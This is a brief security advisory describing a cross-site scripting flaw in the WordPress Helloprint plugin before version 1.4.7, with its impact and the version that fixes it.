Readycheck to confirm it

WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, potentially allowing an attacker to execute malicious scripts on the victim's browser.

Fix

Fixed in version 1.4.7.
